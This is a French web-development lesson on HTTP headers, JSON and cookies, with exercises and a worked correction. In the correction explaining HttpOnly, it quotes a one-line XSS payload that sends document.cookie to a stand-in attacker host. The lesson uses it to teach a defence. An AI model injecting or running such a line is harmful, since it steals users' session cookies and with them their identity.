En-têtes, JSON et cookies
En-têtes clés, JSON et mécanisme des cookies.
Objectifs
À la fin de cette leçon, vous saurez :
- utiliser les en-têtes présents dans 95 % des échanges, et prédire l'effet de chacun ;
- structurer des corps d'API en JSON et le relier à JavaScript ;
- dérouler le mécanisme complet des cookies — la réponse au caractère sans état de HTTP.
🔗 Pour vous rafraîchir la mémoire : anatomie d'une requête HTTP · méthodes et codes de statut
Les en-têtes indispensables : qui dit quoi à qui
Côté requête (ce que le client déclare) :
Host: exemple.fr ← quel site ? (obligatoire depuis HTTP/1.1)
Content-Type: application/json ← le format de CE QUE J'ENVOIE
Accept: application/json ← le format que JE SOUHAITE recevoir
Authorization: Bearer <jeton> ← mon identité (token)
Cookie: session=abc123 ← mon identifiant de session
Côté réponse (ce que le serveur annonce) :
Content-Type: application/json; charset=utf-8 ← le format de CE QUE JE T'ENVOIE
Content-Length: 34 ← sa taille annoncée
Set-Cookie: session=xyz; HttpOnly; Secure ← « mémorise ceci et rejoue-le »
Cache-Control: no-cache ← politique de mise en cache
Location: /users/42 ← où est la nouvelle ressource (avec 201)
L'en-tête central est Content-Type : il est le contrat de format entre les deux parties. Le client envoie application/json mais du texte mal formé ? Erreur 400. Il annonce JSON et envoie du XML ? Le serveur échoue à parser. Il OUBLIE l'en-tête et poste du JSON ? Comportement imprévisible selon le serveur. La moitié des erreurs 400 « incompréhensibles » des débutants sont des Content-Type manquants ou faux — vérifiez-le en premier réflexe.
Deuxième réflexe : quand une API renvoie un contenu inattendu, LIRE le Content-Type reçu. Un text/html là où vous attendiez du JSON signifie presque toujours : votre URL ne pointe pas vers l'API mais vers une page HTML d'erreur — le corps contient alors l'explication.
JSON : le langage commun des corps
{
"id": 42,
"name": "Paul",
"tags": ["admin", "beta"],
"address": { "city": "Lyon" },
"active": true,
"avatar": null
}
Règles complètes du format :
- clés TOUJOURS entre guillemets doubles ;
- valeurs possibles : chaîne, nombre, booléen (
true/false),null, tableau, objet imbriqué ; - pas de virgule traînante, pas de commentaire.
Vous reconnaissez évidemment la syntaxe : JSON (JavaScript Object Notation) EST la notation littérale des objets JavaScript. Votre code front-end consommera donc ces structures sans conversion :
const user = await reponse.json(); // → { id: 42, name: "Paul", ... }
console.log(user.address.city); // "Lyon" — accès direct par point
Cette continuité (le format réseau = le format natif du langage) explique largement la domination de JSON sur son prédécesseur XML pour les API web.
Les cookies : réintroduire la mémoire dans un protocole amnésique
Souvenez-vous : HTTP est sans état — le serveur oublie tout entre deux requêtes. Or « rester connecté » exige de la continuité. Le mécanisme des cookies comble ce fossé, en DEUX temps protocolaires précis :
Temps 1 — le serveur suggère (dans une réponse) :
HTTP/1.1 200 OK
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
Temps 2 — le navigateur stocke puis REJOUE automatiquement (dans chaque requête suivante vers ce domaine) :
GET /profil HTTP/1.1
Host: exemple.fr
Cookie: session=abc123
Le point décisif : le serveur ne fait que SUGGÉRER via Set-Cookie ; c'est le navigateur qui décide de stocker et qui rejoue l'en-tête Cookie automatiquement, invisible pour l'utilisateur. Côté serveur, l'identifiant abc123 renvoie à une session stockée quelque part (mémoire, base) : « abc123 ? c'est Paul, connecté à 14h32 ». La boucle de continuité est fermée.
Les attributs : chaque cookie a ses garde-fous
| Attribut | Effet | Protège contre |
|---|---|---|
HttpOnly | invisible pour JavaScript (document.cookie ne le voit pas) | vol de session par XSS |
Secure | envoyé uniquement via HTTPS | interception en clair |
SameSite=Lax/Strict | pas envoyé lors de requêtes venues d'autres sites | CSRF |
Max-Age / Expires | durée de vie (sinon : effacé à la fermeture du navigateur) | sessions éternelles |
Pourquoi ces garde-fous comptent-ils déjà maintenant ? Parce que le cookie de session EST l'identité de l'utilisateur côté navigateur : le voler, c'est devenir lui. Vous reverrez ces attributs appliqués concrètement dans la partie sécurité (authentification, XSS, CSRF) ; retenez aujourd'hui le mécanisme et le principe : un cookie de session se configure défensivement, jamais au minimum.
Exercice
- Écrivez la requête POST minimale valide pour créer un utilisateur
{ "name": "Paul" }. - Un serveur renvoie
Content-Type: text/htmllà où vous attendiez du JSON. Que faites-vous, et qu'est-ce que cela suggère ? - Déroulez le dialogue complet : première visite anonyme → réponse avec Set-Cookie → deuxième requête authentifiée.
- Pourquoi
HttpOnlyprotège-t-il contre le vol de session par XSS ? - Question de synthèse : reliez « HTTP sans état » et cookies en deux phrases.
Résumé
- En-têtes = métadonnées du contrat ;
Content-Typeest LE contrat de format — premier suspect devant toute erreur 400. - JSON : notation objet native de JS devenue le langage universel des corps d'API.
- Cookie = Set-Cookie (suggestion serveur) + Cookie (rejeu automatique navigateur) ; ses attributs sont défensifs.
- Les cookies transforment un protocole amnésique en expérience continue.
Correction disponibleCherchez d’abord par vous-même.Voir la correction
Correction
Réponses détaillées
Question 1.
POST /users HTTP/1.1
Host: exemple.fr
Content-Type: application/json
{"name": "Paul"}
Les trois pièces obligatoires : méthode POST, Content-Type correct (sinon le serveur ne sait pas parser), ligne vide avant le corps. Réponse attendue : 201 Created + Location: /users/<id>.
Question 2. Premier réflexe : lire le CORPS de la réponse malgré tout — une page HTML d'erreur explique souvent le problème (« 404 page not found », message de proxy...). Interprétation générale : votre URL n'atteint pas l'endpoint JSON attendu (mauvais chemin, mauvais port, mauvais préfixe /api) ou un composant intermédiaire répond à sa place (reverse proxy mal configuré). Le Content-Type est l'étiquette : quand elle ne colle pas au colis, cherchez qui a emballé quoi.
Question 3.
Requête 1 : GET /connexion HTTP/1.1 (rien dans Cookie : inconnu)
Réponse 1 : 200 OK
Set-Cookie: session=abc123; HttpOnly; Secure
Requête 2 : GET /profil HTTP/1.1
Cookie: session=abc123 ← rejeu automatique
Réponse 2 : 200 OK ← le serveur reconnaît Paul
{"name": "Paul", ...}
La continuité tient dans trois acteurs : le serveur (qui émet et consulte), le navigateur (qui stocke et rejoue), le carnet de sessions (qui relie identifiant → utilisateur).
Question 3 bis (HttpOnly). Une injection XSS exécute du JavaScript arbitraire dans la page de la victime. Sans HttpOnly, une ligne suffit au voleur : fetch("https://méchant.fr?c=" + document.cookie) — la session est exfiltrée. Avec HttpOnly, le cookie existe pour le protocole HTTP mais est INVISIBLE du JavaScript : le script tourne, mais ne peut rien voler de cette valeur-là. Le cookie continue de circuler normalement vers le serveur à chaque requête — protection efficace contre ce vecteur précis.
Question 5. « HTTP est sans état : chaque requête arrive orpheline, sans souvenir des précédentes — c'est ce qui permet de répartir la charge librement. Les cookies réintroduisent l'identité par convention : un identifiant remis par le serveur, rejoué par le navigateur, résolu par un stockage partagé. L'état quitte le protocole pour vivre là où on le maîtrise : chez le client (l'identifiant) et dans une base (la signification de cet identifiant). »